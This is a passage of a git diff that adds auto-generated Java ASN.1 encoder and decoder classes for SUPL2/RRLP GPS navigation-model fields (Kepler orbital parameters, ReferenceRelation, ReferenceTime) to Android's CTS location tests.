+ return ImmutableList.of(TAG_keplerM0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerM0Type from encoded stream.
+ */
+ public static keplerM0Type fromPerUnaligned(byte[] encodedBytes) {
+ keplerM0Type result = new keplerM0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerM0Type from encoded stream.
+ */
+ public static keplerM0Type fromPerAligned(byte[] encodedBytes) {
+ keplerM0Type result = new keplerM0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerM0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerOmegaDotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerOmegaDotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerOmegaDotType() {
+ super();
+ setValueRange("-8388608", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerOmegaDotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerOmegaDotType != null) {
+ return ImmutableList.of(TAG_keplerOmegaDotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerOmegaDotType from encoded stream.
+ */
+ public static keplerOmegaDotType fromPerUnaligned(byte[] encodedBytes) {
+ keplerOmegaDotType result = new keplerOmegaDotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerOmegaDotType from encoded stream.
+ */
+ public static keplerOmegaDotType fromPerAligned(byte[] encodedBytes) {
+ keplerOmegaDotType result = new keplerOmegaDotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerOmegaDotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerEType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerEType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerEType() {
+ super();
+ setValueRange("0", "4294967295");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerEType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerEType != null) {
+ return ImmutableList.of(TAG_keplerEType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerEType from encoded stream.
+ */
+ public static keplerEType fromPerUnaligned(byte[] encodedBytes) {
+ keplerEType result = new keplerEType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerEType from encoded stream.
+ */
+ public static keplerEType fromPerAligned(byte[] encodedBytes) {
+ keplerEType result = new keplerEType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerEType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerIDotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerIDotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerIDotType() {
+ super();
+ setValueRange("-8192", "8191");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerIDotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerIDotType != null) {
+ return ImmutableList.of(TAG_keplerIDotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerIDotType from encoded stream.
+ */
+ public static keplerIDotType fromPerUnaligned(byte[] encodedBytes) {
+ keplerIDotType result = new keplerIDotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerIDotType from encoded stream.
+ */
+ public static keplerIDotType fromPerAligned(byte[] encodedBytes) {
+ keplerIDotType result = new keplerIDotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerIDotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerAPowerHalfType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerAPowerHalfType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerAPowerHalfType() {
+ super();
+ setValueRange("0", "4294967295");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerAPowerHalfType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerAPowerHalfType != null) {
+ return ImmutableList.of(TAG_keplerAPowerHalfType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerAPowerHalfType from encoded stream.
+ */
+ public static keplerAPowerHalfType fromPerUnaligned(byte[] encodedBytes) {
+ keplerAPowerHalfType result = new keplerAPowerHalfType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerAPowerHalfType from encoded stream.
+ */
+ public static keplerAPowerHalfType fromPerAligned(byte[] encodedBytes) {
+ keplerAPowerHalfType result = new keplerAPowerHalfType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerAPowerHalfType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerI0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerI0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerI0Type() {
+ super();
+ setValueRange("-2147483648", "2147483647");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerI0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerI0Type != null) {
+ return ImmutableList.of(TAG_keplerI0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerI0Type from encoded stream.
+ */
+ public static keplerI0Type fromPerUnaligned(byte[] encodedBytes) {
+ keplerI0Type result = new keplerI0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerI0Type from encoded stream.
+ */
+ public static keplerI0Type fromPerAligned(byte[] encodedBytes) {
+ keplerI0Type result = new keplerI0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerI0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerOmega0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerOmega0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerOmega0Type() {
+ super();
+ setValueRange("-2147483648", "2147483647");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerOmega0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerOmega0Type != null) {
+ return ImmutableList.of(TAG_keplerOmega0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerOmega0Type from encoded stream.
+ */
+ public static keplerOmega0Type fromPerUnaligned(byte[] encodedBytes) {
+ keplerOmega0Type result = new keplerOmega0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerOmega0Type from encoded stream.
+ */
+ public static keplerOmega0Type fromPerAligned(byte[] encodedBytes) {
+ keplerOmega0Type result = new keplerOmega0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerOmega0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerCrsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerCrsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerCrsType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerCrsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerCrsType != null) {
+ return ImmutableList.of(TAG_keplerCrsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerCrsType from encoded stream.
+ */
+ public static keplerCrsType fromPerUnaligned(byte[] encodedBytes) {
+ keplerCrsType result = new keplerCrsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerCrsType from encoded stream.
+ */
+ public static keplerCrsType fromPerAligned(byte[] encodedBytes) {
+ keplerCrsType result = new keplerCrsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerCrsType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerCisType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerCisType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerCisType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerCisType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerCisType != null) {
+ return ImmutableList.of(TAG_keplerCisType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerCisType from encoded stream.
+ */
+ public static keplerCisType fromPerUnaligned(byte[] encodedBytes) {
+ keplerCisType result = new keplerCisType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerCisType from encoded stream.
+ */
+ public static keplerCisType fromPerAligned(byte[] encodedBytes) {
+ keplerCisType result = new keplerCisType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerCisType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerCusType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerCusType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerCusType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerCusType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerCusType != null) {
+ return ImmutableList.of(TAG_keplerCusType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerCusType from encoded stream.
+ */
+ public static keplerCusType fromPerUnaligned(byte[] encodedBytes) {
+ keplerCusType result = new keplerCusType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerCusType from encoded stream.
+ */
+ public static keplerCusType fromPerAligned(byte[] encodedBytes) {
+ keplerCusType result = new keplerCusType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerCusType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerCrcType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerCrcType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerCrcType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerCrcType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerCrcType != null) {
+ return ImmutableList.of(TAG_keplerCrcType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerCrcType from encoded stream.
+ */
+ public static keplerCrcType fromPerUnaligned(byte[] encodedBytes) {
+ keplerCrcType result = new keplerCrcType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerCrcType from encoded stream.
+ */
+ public static keplerCrcType fromPerAligned(byte[] encodedBytes) {
+ keplerCrcType result = new keplerCrcType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerCrcType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerCicType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerCicType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerCicType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerCicType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerCicType != null) {
+ return ImmutableList.of(TAG_keplerCicType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerCicType from encoded stream.
+ */
+ public static keplerCicType fromPerUnaligned(byte[] encodedBytes) {
+ keplerCicType result = new keplerCicType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerCicType from encoded stream.
+ */
+ public static keplerCicType fromPerAligned(byte[] encodedBytes) {
+ keplerCicType result = new keplerCicType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerCicType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerCucType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerCucType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerCucType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerCucType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerCucType != null) {
+ return ImmutableList.of(TAG_keplerCucType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerCucType from encoded stream.
+ */
+ public static keplerCucType fromPerUnaligned(byte[] encodedBytes) {
+ keplerCucType result = new keplerCucType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerCucType from encoded stream.
+ */
+ public static keplerCucType fromPerAligned(byte[] encodedBytes) {
+ keplerCucType result = new keplerCucType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerCucType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ReferenceNavModel = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceRelation.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceRelation.java
new file mode 100755
index 0000000..8c1d230
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceRelation.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class ReferenceRelation extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ secondBTSThirdSet(0),
+ secondBTSSecondSet(1),
+ firstBTSFirstSet(2),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_ReferenceRelation
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ReferenceRelation() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ReferenceRelation;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ReferenceRelation != null) {
+ return ImmutableList.of(TAG_ReferenceRelation);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new ReferenceRelation from encoded stream.
+ */
+ public static ReferenceRelation fromPerUnaligned(byte[] encodedBytes) {
+ ReferenceRelation result = new ReferenceRelation();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ReferenceRelation from encoded stream.
+ */
+ public static ReferenceRelation fromPerAligned(byte[] encodedBytes) {
+ ReferenceRelation result = new ReferenceRelation();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ReferenceRelation = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceTime.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceTime.java
new file mode 100755
index 0000000..a3e0873
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceTime.java
@@ -0,0 +1,344 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class ReferenceTime extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ReferenceTime
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ReferenceTime() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ReferenceTime;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ReferenceTime != null) {
+ return ImmutableList.of(TAG_ReferenceTime);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ReferenceTime from encoded stream.
+ */
+ public static ReferenceTime fromPerUnaligned(byte[] encodedBytes) {
+ ReferenceTime result = new ReferenceTime();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
